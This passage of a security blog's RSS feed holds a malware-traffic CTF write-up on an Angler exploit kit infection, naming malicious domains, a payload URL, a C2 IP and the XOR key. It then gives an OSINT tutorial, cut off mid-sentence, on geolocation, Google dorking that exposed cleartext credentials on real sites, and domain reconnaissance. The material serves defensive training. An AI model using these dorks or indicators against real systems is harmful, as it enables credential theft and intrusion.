List.doc</pre><pre>Win People and Influence Friends.pdf</pre><pre>Q4 Game Floor Earnings.xlsx</pre><pre>Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml</pre><pre>Troll_Pay_Chart.xlsx</pre><p><strong>Answer: </strong>Troll_Pay_Chart.xlsx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*U52KPADfetYQu6Qp8_TlgQ.png" /></figure><p>As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=190115c084a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Traffic Analysis 3]]></title>
            <link>https://ellisstannard.medium.com/malware-traffic-analysis-3-c4c47757e184?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4c47757e184</guid>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Wed, 04 Aug 2021 13:25:43 GMT</pubDate>
            <atom:updated>2021-08-04T13:28:03.072Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://www.malware-traffic-analysis.net/">Malware Traffic Analyses</a> are a set of CTF challenges for analysing traffic and an excellent way of developing threat hunting using tools like Wireshark and Suricata. Here we do their third CTF challenge, analysing a PCAP from an infected machine. This can be downloaded from the Cyber Defenders page <a href="https://cyberdefenders.org/labs/21">here</a>.</p><p><strong>Question 1</strong></p><p>What is the IP address of the Windows VM that gets infected?</p><p>To make the analysis more readable in Wireshark, I added columns Source Port, Destination Port and Host.</p><p>There are many ways to determine this; either by looking at the populous amounts of packets within endpoint statistics within wireshark and sorting by packets:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*SCnStIxU0Y3H2b2QUtN6Jg.png" /></figure><p>Or by seeing the endpoint DNS and DNS server which is queried to determine the endpoint IP from which the PCAPs were captured:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ENN0WI12vxj0BXa-rW9GMQ.png" /></figure><p>In both cases this is 192.168.137.62, but this doesn’t determine if the VM is infected. Alternatively using Brim and leveraging Suricata Alerts, we can determine the endpoints which have malicious traffic reaching them; in our case it is 192.168.137.62.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*s8Aj70MDOyZRcFYcAf_0Cw.png" /></figure><p>Alternatively, you could see that the question says ‘Windows VM’, go to Network Miner and from there search for hosts which are Windows Virtual Machines, where you’ll find the only one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*3M57--cdw0ETnlEQARRYFQ.png" /></figure><p><strong>Question 2</strong></p><p>What is the Exploit kit (EK) name? (two words)</p><p>This can be seen using PacketTotal. Uploading the PCAP file, we can then have a look at the Alert Signatures within the Malicious Activity tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZQ_vJB9Es5DEb1jO8o6Ig.png" /></figure><p><strong>Question 3</strong></p><p>What is the FQDN that delivered the exploit kit?</p><p>If we look at the Exploit Kit detection in the above picture or from the Suricuta Detection in Q1, we can see that the IP associated is 192.99.198.158. We can then search for HTTP requests in Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEsGh_tGwPyhlW1LgLnuKQ.png" /></figure><p>Here we see the host. Alternatively, you can see it in Network Miner under Hosts where it will automatically show the FQDN:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*MbQ46iA69shKOaiTd0NXpQ.png" /></figure><p><strong>Question 4</strong></p><p>What is the redirect URL that points to the exploit kit landing page?</p><p>If we follow the HTTP stream one of the HTTP handshakes between 192.99.198.158 and 192.168.137.62, we can see the referrer parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHI2pr0BQf6-OJ834qMO6w.png" /></figure><p><strong>Question 5</strong></p><p>What is the FQDN of the compromised website?</p><p>For this one, if we look at the Statistics &gt; HTTP Requests, we can sort by count and see that the top count is <a href="http://www.earsurgery.org/">www.earsurgery.org</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcAEC2KBCyIX_BiOvbqFuQ.png" /></figure><p><strong>Question 6</strong></p><p>Which TCP stream shows the malware payload being delivered? Provide stream number</p><p>For this question, we must first determine which file was malicious delivered by qwe.mvdunalterableairreport.net. In order to do this, we must first export HTTP objects and download all the ones associated with the host:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*tBaD7AACi3pRSqIj3NfDZQ.png" /></figure><p>After this, we can verify which ones are malicious in VirusTotal; there you will see four of the files are malicious. The one you’re intersted in is 680VBFhpBNBJOYXebSxgwLrtbh3g6JFUllqksWFSsGshhwsguyNL26MGul2oZ3b8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CY4zcFXnwyr1OichF7xktA.png" /></figure><p>From validating this click on the packet where this has been downloaded back in HTTP objects — this will select the packet. Then follow TCP stream to find the number:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kka7CGrkrPFAYB4L5ZWcoQ.png" /></figure><p><strong>Question 7</strong></p><p>What is the IP address of the C&amp;C server?</p><p>If we look at the list of Suricata detections from Brim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*on4zCoMvtghC2olRhV6DgA.png" /></figure><p>If we look closer in PacketSniffer, we can see the reason is a SSL cert:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HiChbNpgzb-tlvF4FUngZg.png" /></figure><p>From here we can determine with the format of ***.***.**.** the likely IP is 209.126.97.209, given this is a Network Trojan.</p><p>Furthermore, if we look at suspicious activity within PacketSniffer, we can see that there is a self-signed certificate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i4RqKRaaEiSfg9yz5Gj43Q.png" /></figure><p>These are normally done in an attempt to sniff TLS/SSL traffic.</p><p><strong>Question 8</strong></p><p>What is the expiration date of the SSL certificate?</p><p>For this one, if we look at the malicious activity alert and filter by the above IP, we see that it was at 04/12/2014 at two timestamps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8s1BcQ2ipXGf7CVsJIARsQ.png" /></figure><p>If we then navigate to SSL certificates and filter by the above IP, we get a list of certificates which can be downloaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ErPlYbDTKuCgAE5A4bf4Zg.png" /></figure><p>If we download these and change them from .raw files to .cer, we can then open the file to get certificate information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*VXL97kjYSzV50gnB8L-16Q.png" /></figure><p>Here we see the expiration date is 24/11/2024, both certificates have the same expiration.</p><p><strong>Question 9</strong></p><p>Question doesn’t exist so onto question 10….</p><p><strong>Question 10</strong></p><p>The malicious domain served a ZIP archive. What is the name of the DLL file included in this archive?</p><p>If we look in Brim, we can find zip files associated with Ips with the following command:</p><p><em>“files” mime_type=”application/zip”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ylu1JZqdv35R_EqqzdAuig.png" /></figure><p>Next, let’s go into VirusTotal and search by the MD5 hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*13SPN10B1i4Qe4U_LIQPyA.png" /></figure><p>Here you’ll see it’s a bundled zip file with a DLL file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*2XuE34EYXioJdiuf84s5cQ.png" /></figure><p>icVsx1qBrNNdnNjRI.dll</p><p>Alternatively, you can inspect in Packet Total and search for zips in transferred files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ShuLdlvENQTB4KnF3FXbfw.png" /></figure><p>Here you can download the zip, unzip it and find the DLL name.</p><p><strong>Question 11</strong></p><p>Extract the malware payload, deobfuscate it, and remove the shellcode at the beginning. This should give you the actual payload (a DLL file) used for the infection. What’s the MD5 hash of the payload?</p><p>Based on the detection timeframe of the Angler Payload from the previous question, being at 18:27:30, we can actually determine which file is the specific malware payload which is being referred here.</p><p>We can also do this by downloading all of the files associated with qwe.mvdunalterableairreport.net again and uploading them to VirusTotal, either way the file is the Octet Stream file with name 680VBFhpBNBJOYXebSxgwLrtbh3g6JFUllqksWFSsGshhwsguyNL26MGul2oZ3b8.</p><p>If we open this in HxD Hex Editor we notice that the strings that repeat themselves are adR2b4nh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*rY8QlJ8F3wIodPE7R1ySUA.png" /></figure><p>If we then search for this online with Angler EK we see that it is a XOR string with key adR2b4nh. From looking <a href="https://en.wikipedia.org/wiki/XOR_cipher">here</a>, we see that XOR ciphers can be decrypted by simply applying the XOR cipher again with the given key to remove the cipher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMrbaU3rRKbDRGOIGBUBUQ.png" /></figure><p>If we then XOR it within CyberChef and save the file, we can then extract the file using binwalk. Switching to Kali here, we can see all the files contained in this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*hA5ut2TmW0Rd3bRh6rxGdA.png" /></figure><p>I then proceed to extract them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*-j6kdupXN2mqlNUoQEaUMA.png" /></figure><p>As you can see the PE is called 591:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*vNmDlb4c-7d2WNTAC9I1RA.png" /></figure><p>Uploading this file now back into VT, we see we have the overview that this is a DLL file and the MD5 hash is listed below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ScU-PqTGNg5I2bH0dl4Ohg.png" /></figure><p>Answer: 3dfa337e5b3bdb9c2775503bd7539b1c</p><p><strong>Question 12</strong></p><p>What were the two protection methods enabled during the compilation of the PE file? (comma-separated)</p><p>If we navigate to PE Explorer to analyse our DLL from the previous question, there is a tab called Optional Header which provides information on the types of protection methods. I’ve explained what they all mean in the previous Malware Traffic Analysis challenge on my blog also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*4IXa6pNf4pz5ihK7U6fFbg.png" /></figure><p>SEH was in the previous CTF, with image isolation this time, known as Canary.</p><p><strong>Question 13</strong></p><p>When was the DLL file compiled?</p><p>Going back to VT on details for the DLL, we can see that the compilation timestamp is below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*_yv_flwmkheubKHhwFkt2w.png" /></figure><p><strong>Question 14</strong></p><p>A Flash file was used in conjunction with the redirect URL. What URL was used to retrieve this flash file?</p><p>This one is pretty easy, open up export HTTP objects in Wireshark and look for flashfiles:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*uX1pFq2jElVmn6c8vGpdgw.png" /></figure><p>Click on the packet then open it to find the request URI from the HTTP request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*Ep9rRCi8Jk6PuO9d8XZ0Nw.png" /></figure><p><a href="http://adstairs.ro/544b29bcd035b2dfd055f5deda91d648.swf">http://adstairs.ro/544b29bcd035b2dfd055f5deda91d648.swf</a></p><p><strong>Question 15</strong></p><p>What is the CVE of the exploited vulnerability?</p><p>From the previous google of Angler EK adR2b4nh would land you on the Malware-Traffic-Analysis.net site where you’ll find the CVE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ANGbtGN83J1zOncAdiLNcw.png" /></figure><p>CVE-2013–2551</p><p><strong>Question 16</strong></p><p>What was the web browser version used by the infected host?</p><p>If we follow the TCP stream of infected VM seen above, 192.168.137.62, we get the user agents; Mozilla version 5 and MSIE version 9.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KByLPfEcwp8VBjIkaQL2tQ.png" /></figure><p>Answer: 9</p><p><strong>Question 17</strong></p><p>What is the DNS query that had the highest RTT?</p><p>To identify long <strong>RTT</strong> in <strong>Wireshark</strong>, ensure the Time column in <strong>Wireshark</strong> is configured to display the time since the previous displayed packet. Select View &gt; Time Display Format &gt; Seconds Since Previous Displayed Packet.</p><p>From here I filtered by DNS and followed this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KAl_JATvLC7gVDB2nPw6Q.png" /></figure><p>The answer should be dsms0mj1bbhn4.cloudfront.net but it is instead ssl.gstatic.com</p><p><strong>Question 18</strong></p><p>What the name of the SSL certificate issuer that appeared the most? (one word)</p><p>This one was super easy, for this I used NetworkMiner, searched by .cer files and as you can see the majority were from Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQrqHDGuHBo_qBJZyOchEQ.png" /></figure><p>And that wraps this up. As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4c47757e184" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINTifying Targets]]></title>
            <link>https://ellisstannard.medium.com/osintifying-targets-93134da0d485?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/93134da0d485</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Tue, 22 Jun 2021 07:05:14 GMT</pubDate>
            <atom:updated>2021-07-21T23:16:43.271Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello folks, it’s been a while but today I’m going to show you how to OSINTify targets based on different types of attacks. From this exercise it was alarming how much information was gathered. Before going into everything I have made the relevant parties (for non-discriminatory attacks) aware of the current information gathered.</p><p>If I am a security researcher, I need to think like an adversary (and vice-versa), with the first step being passive recon, gathering immense amounts of information from Open Source Intelligence (OSINT).</p><h3><strong>What is OSINT?</strong></h3><p>“Officially, it is defined as any intelligence produced from publicly available information that is collected, exploited, and disseminated in a timely manner to an appropriate audience for the purpose of addressing a specific intelligence requirement. For the CIA, it may mean information obtained from foreign news broadcasts. For an attorney, it may mean data obtained from official government documents that are available to the public. For most people, it is publicly available content obtained from the internet”.</p><p><em>[OSINT Techniques Resources for Searching and Analysing Online V7 — Michael Bazzell]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RLGY9pzJyGoelQe4KzT9Dg.jpeg" /></figure><p>Open Source Intelligence, better known as OSINT, is a technology that refers to publicly available and open sources of information (as opposed to covert or secret sources) used in connection with intelligence. OSINT is information that comes from public and open sources. A large amount of actionable and predictable intelligence is obtained from public and non-classified sources. It means that the information collected is available not only to the public for consumption, but also to the entire intelligence community.</p><p>Things that are not open source intelligence are active reconnaissance, e.g. port scanning.</p><p>All organisations have lots of data online:</p><ul><li>Planned sharing — Annual reports, contact information, website content, press release, etc.</li><li>Unplanned sharing — Hacked email addresses for third-party websites, employee social media content, website certificate details, internal server links, public forum data, document metadata, and much more…</li></ul><p>OSINT is the collective representation of this data in a useful manner — leveraged offensively and defensively.</p><h4><strong>Types of Attacks:</strong></h4><p>There are two types of attacks I will share use cases with in this article:</p><ul><li>Non-discriminating attacks — low hanging fruit may skip this step — searching for vulnerable targets to exploits attackers now how to do — <em>script kiddies do this</em>. They aren’t picky, will exploit anything that matches their combination of vulnerable target and known attack technique. <strong>HENCE THE NAME NON-DISCRIMINATING</strong></li><li>Discriminating attacks — attackers out to get a particular site. The goal is to compromise a single target organisation, before sending first packet, they conduct dentailed reconnaissance analysis to collect as much information about the target that they can find to aid in their attack</li></ul><h4><strong>OSINT Methodology</strong></h4><p>An adversary would start with the small amount of information they have and work their way through the following steps:</p><p>1.Start with what you know (email, username, etc.)</p><p>2.Define requirements (what you want to get)</p><p>3.Gather the data</p><p>4.Analyse collected data</p><p>5.Pivot as-needed using new gathered data</p><p>6.Validate assumptions</p><p>Below you can see the Techniques, Tactics and Procedures (TTPs) that comprise OSINT in the MITRE PRE-ATT&amp;CK Framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*qpXvyHHEyKbazIBJvWShsA.png" /><figcaption>MITRE PRE-ATT&amp;CK Tactics</figcaption></figure><p>To give an example, you start with what you know and work your way through:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVaNAtRgyXTctDaKCxuNPA.png" /></figure><p>In my discriminatory attack example, I start with a domain name.</p><h4><strong>OSINT Framework:</strong></h4><p>The <a href="https://osintframework.com/">OSINT framework</a> provides a collection of OSINT tools, classified into various categories, that pentesters and hackers alike can use for reconnaissance. The OSINT framework has a web-based interface and is primarily focused on listing free resources.</p><p>For instance, the first entry “username” can be explored in our OSINT research if we focus on discovering usernames, utilised by a target across various accounts on the internet. On clicking the entry, it’ll display a list of all the tools that can be employed to accomplish this goal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*YvUjjjNN9vk1z3qt8szzVQ.png" /></figure><h3><strong>Use Case 1 — OSINT Challenge:</strong></h3><p>There are plenty of OSINT Challenges on Twitter to try and guess user’s locations. This kind of activity is also what law enforcement use to try and aid on missing person’s cases or even tracking down criminals.</p><p>As you can see below, we have a challenge from Christmas in a mysterious location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*Jp5AKsLakkCLrdHUjAJPqA.png" /></figure><p>We can actually even ignore the hint in the above post and try to make a guess from their Twitter bio:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*c7beWKRu6nUhs61--XkmYg.png" /></figure><p>Here we see they’re either in Minneapolis or Los Angeles. The objective is to find the exact location. Even without a hint we can find this information quite easily using <a href="https://www.ncdc.noaa.gov/snow-and-ice/daily-snow/MN/snowfall/20200323">historical snow data in the US</a>. We see that it’s snowing quite heavily on the 23rd December 2020.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*oKcMVh9G_Vu-eDlsAv7JnA.png" /><figcaption>Minnesota snow</figcaption></figure><p>There are clumps of trace values around Minessota with the highest recordings showing 2.5&quot; of snow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*YsPcY4sK0BplUULACbPeZA.png" /><figcaption>California snow</figcaption></figure><p>And there is no snow at all in the state of California, therefore they must be in Minneapolis.</p><p><strong>1.1 — Geolocation using Twitter:</strong></p><p>So whilst you can’t find the geolocation via Twitter of a specific photo, you can actually search for photos taken within a certain distance of a geolocation you search for. This is using the ‘geocode’ directive with geocoordinates in the Twin Cities with a 10km radius, relating to OSINT and from H3KTIC (the original post):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*Tv1A84J3HMki6WNoQHVtdA.png" /></figure><p>Unfortunately there were no posts within the 10km range. I then went to Omnisci to find that actually none of H3KTIC’s posts had their locational data turned on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*rWcLFjxZxE0rEIIZofnp4w.png" /></figure><p>Nothing — something you’d expect from a security analyst.</p><p><strong>1.2 — Twitter Metadata — Tinfoleak:</strong></p><p>To further see if there was anything else I could find; i.e. metadata on the image or something linking who potentially took the photo, I used a tool called Tinfoleak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*gfjuB48p5z4jg5sr7JQrow.png" /></figure><p>Unfortunately there was not much information on the specific photo taken, although there was additional metadata on other photos, and other interesting information such as users they most communicate with etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*t00dRoxilL6sEW5FpxtmJg.png" /></figure><p><strong>1.3 — Examining the photo:</strong></p><p>At this point it was clear the proof was in the pudding (or photo). From what it looks like, the banner behind is for some kind of shopping mall with signs. I opened up GIMP and started playing around with the photos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*LiLu7cR2_FFeUt7rWn7igg.png" /><figcaption>GIMP photo inverted</figcaption></figure><p>From here you can make out the banner behind has the word ‘JOHNSON’. I couldn’t read the above however. To get the above text I then proceeded to sharpen the photo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*sp5IPCfthnSZkfxVf7_qIw.png" /><figcaption>GIMP photo sharpened</figcaption></figure><p>From here you can read ‘OfficeMax’. I was not acquainted with these stores (being a Brit) so had a Google to find them:</p><ul><li>OfficeMax is a stationary shop like Ryman</li><li>Johnsons was a gym chain, much like FitnessFirst</li></ul><p><strong>1.4 — Narrowing down the search:</strong></p><p>So there must be a finite amount of OfficeMax stores in the Twin City. The following were the steps I took to locate the exact store:</p><ol><li>Navigated to the OfficeMax website to locate all stores within the area; from here you can see the top 10 closest stores in the area.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*bOur_p9ea4ckpCHPttmR3A.png" /></figure><p>2. I then navigated to Google maps and proceeded to browse street images, looking through each site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*Ur3s74KsGnG9eKc9d5PZ1g.png" /></figure><p>3. Finally I got to store #4, and found the store at Valley Ridge Mall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*-oE7Zk77BKIH4LyQC4FRcA.png" /><figcaption>Valley Ridge</figcaption></figure><p>Here’s a comparison for reference:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*Jp5AKsLakkCLrdHUjAJPqA.png" /></figure><p>Happy days!</p><h3>Why should Blue Teams care?</h3><p>There are a multitude of reasons why blue teams and even just teams across organisations should care:</p><ul><li>Threat Intel — live streams of breaches; can use this information as a risk-based approach if you or your clients are likely targets. The image below is an API feed which can feed into internal threat intelligence dashboards. This would give a 360 degree lens on what is out there on your organisation’s estate.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*DaZSc4PAHLjXoqRUU3bL3Q.png" /><figcaption>Dehashed — API feed</figcaption></figure><p><strong>•</strong>Threat intelligence reporting can identify potential targets and exploits</p><p>•IT Health Checks (ITHC)/Red Teaming reporting can identify vulnerabilities</p><p>•Red teaming reconnaissance — it’s a red teamer’s dream to leverage OSINT, as you can gather so much information on your target, without needing to send a single packet directly to them</p><p>•Incident Response Training — Can teach people more about having less of a public footprint across many platforms with poor security awareness</p><p>•Wargames and Playbooks — Paricularly in the Preparation and Detection phases (using NIST Incident Cycle) teams Blue Teams can proactively identify publicly available information periodically.</p><h3>Use Case 2 — Non-discriminating Attack</h3><p>As discussed before, non-discriminating attacks non-discriminating attacks aren’t targeting a specific person or organisation but instead searching for a target that is vulnerable to a specific attack. This is where a script kiddy will exploit anything that matches their combination of vulnerable target and known attack technique.</p><h4>2.1 — Google Dorking</h4><p>The easiest way to get information is to ask for it. Ask someone (or something) that has a lot of information like Google, Bing, Baidu, Yahoo, etc.</p><p>Google Dorking is leveraging search directives in search engines to find vulnerabilities in targets. For example we can utilise search directives to find documentation on OSINT as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*693etEULAkKPolwX1cWhww.png" /></figure><p>Here we use the <strong>inurl</strong> command to find something with OSINT in the URL and <strong>filetype</strong> to find PDF documents.</p><p>A great site which has numerous vulnerabilities to search directives in Google is <a href="https://www.exploit-db.com/google-hacking-database">Google Hacking Database</a> (GHDB). This is effectively a Database which lists many search directives to work on both Google and other search engines. These GHDB dorks can be used to reveal vulnerable servers on the Internet, to gather sensitive data, vulnerable files that are uploaded, sub-domains, and so on. Effective usage of GHDB can make the hacking process considerably easier. Exploit DB maintains a collection of google dorks under a section named GHDB.</p><p>If we were to open this and search for SQL vulnerabilities below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgIa4fLlXeS0XNiUPvloGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*_tXiCrtzCOy7Ftcb2rmxLA.png" /></figure><p>Here we find a vulnerability which we wish to exploit which provides files containing passwords. If we then search for this within Google, we find a list of websites with this vulnerability:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/0*nawmLQP-XK-OGkVD.png" /></figure><p>Opening one of the pages, we find a list of cleartext credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/0*m_mgwoJmvaaqnNOK.png" /></figure><p>Just so you’re aware, I got all this in less than two minutes — a little bit too easy if I’m honest.</p><h3>Use Case 3— Discriminating Attack</h3><p>For this final use case, we are using a specific target. Given that this was for educational purposes I didn’t want to do anything too controversial here, so I picked a target that is literally designed for this; hackthissite.org.</p><p>The issue also is that fictitious websites which are deliberately vulnerable aren’t really great for OSINT either. So this use case is the same as the previous methodology; getting as much information as possible and pivoting this to gather more and so forth.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*tn4unz5PwIeHvvgMQsc9tg.png" /></figure><h4>3.1 — Reverse Whois and Certification Transparency</h4><p>When a registrar registers a domain name, they collect information about the registrant including name, phone number, address, and email information. This contact information can differ for the billing, technical and admin contacts for the domain. Multiple online services are available to collect WHOIS.</p><p>We can see information like the registrar, name of servers, IP addresses and even the location — a great website is <a href="https://whois.domaintools.com/">whoisdomaintools.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*YtZpGqV2-BNvPmLZMnk9kw.png" /></figure><p>For security reasons, web server certificates are logged for auditing to ensure no malicious certs are issued by Certificate authorities. As such they can be accessed using <a href="https://crt.sh/">crt.sh</a> which provides information about targets which CAs, what are in use, hostnames, and a lot more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChteKYsrfc_YZK5AzOC7Tg.png" /></figure><p>Here you can see we’ve gathered lots of information about the target already; subdomains, servers, registrar information, IPs and more.</p><h4>3.2 — DNSDumpster</h4><p>In addition, DNSDumpster is a fantastic tool which provides a list of MX records, DNS Servers, geolocations, IPs, and much more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYTtsOKdGNNxKfmh5GJY3g.png" /></figure><p>Below you can see the DNS Server list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96jlDb4kzIiX4cGaMqy4WA.png" /></figure><p>And here the MX records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvL8u2lQwlaL9_tUIRTahA.png" /></figure><h4>3.3 — The Harvester</h4><p>The harvester is another great tool for gathering information from public sources also used on Linux and has tons of public sources. Below I have found numerous hosts and a couple of email addresses we will pivot later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*dTGDeq0zWAhp0KnFdCoJ5w.png" /></figure><p>There are other tools like LinkedIn scraper that do this as well. But you can see here I’ve used google to find IP addresses, and then a full list of everyone who works or worked at hackthissite.org.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*xMsuPk3j8t52gPq3pFQgZQ.png" /></figure><h4>3.4 — Recon-ng</h4><p>Recon-ng is a full-featured reconnaissance framework designed for OSINT recon, with various payloads which can then be run. Recon-ng has a look and feel similar to the Metasploit Framework. However, it is quite different. Recon-ng is not intended to compete with existing frameworks, as it is designed exclusively for web-based open source reconnaissance. If you want to exploit, use the Metasploit Framework.</p><p>One of the great payloads is <strong>interesting files</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*riygr1DCKBis1d8OI2KdAQ.png" /></figure><p>Here you can it tries to find interesting sites like robots.txt which tells things about a structure of a website which is used to tell website crawlers where the XML sitemap files are, how fast the site can be crawled and also which web pages and directories not to crawl. Essentially robots.txt attempts to hide valuable information.</p><p>As we can see here, hackthissite.org has some good security hygiene, using noindex instead of a robots.txt page.</p><p>I did however find an admin account which I’m sure could easily be guessed or found in an account harvesting attempt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*C7wpNXoeIf_i0UGsIIOi7g.png" /></figure><h4>3.5 — FOCA</h4><p>FOCA, or Fingerprinting Organisations with Collective Archives, is a tool used mainly to find metadata and hidden information in the documents it scans. These documents may be on web pages, and can be downloaded and analysed with FOCA.</p><p>It is capable of analysing a wide variety of documents, with the most common being Microsoft Office, Open Office, or PDF files, although it also analyses Adobe InDesign or SVG files, for instance. These documents are searched for using three possible search engines: Google, Bing, and DuckDuckGo.</p><p>The sum of the results from the three engines amounts to a lot of documents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*XL1Y7c9GzJ13oFxj7LBE3A.png" /></figure><p>We can then analyse them to gather information about the target like domains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*Pdcx6XKFF8-7nkNPoy9g0Q.png" /></figure><p>We can also gather information about servers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*gIHnPvNlSXsisRHaaQCYYw.png" /></figure><p>Other Metadata we can gather includes users, folders, software, emails, OS, Passwords and any malware associated with the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_u5yutY79k5Qwltifdbgw.png" /></figure><p>Versions of the software can even reveal information about potential vulnerabilities on Adobe which can be used with exploit-db.com.</p><p>It is also possible to add local files to extract the EXIF information from graphic files, and a complete analysis of the information discovered through the URL is conducted even before downloading the file.</p><h4>3.6 — Exiftool</h4><p>As mentioned above, Exiftool does what FOCA does but only on individual files. For example, you could use some Google search directives to try and find a PDF file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*yFLLYTuNyE_4EDgesxNxLw.png" /></figure><p>Once you have found the PDF, you can then download it via commandline using wget/curl (or invoke-webrequest via PowerShell) command followed by the exiftool:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*3rWk7mAeMSUD5aNcYprzwA.png" /></figure><p>And here you get a lot more information for each file. The output specifically provides information like the potential computer type, author, adobe version etc.</p><h4>3.7 — SpiderFoot</h4><p><a href="https://www.spiderfoot.net/">SpiderFoot</a> is an open-source, GPL-licensed OSINT data collection and analysis tool. Provides a seed target (such as domain name, host name, or email) Collects OSINT data from hundreds of online sources ,using the 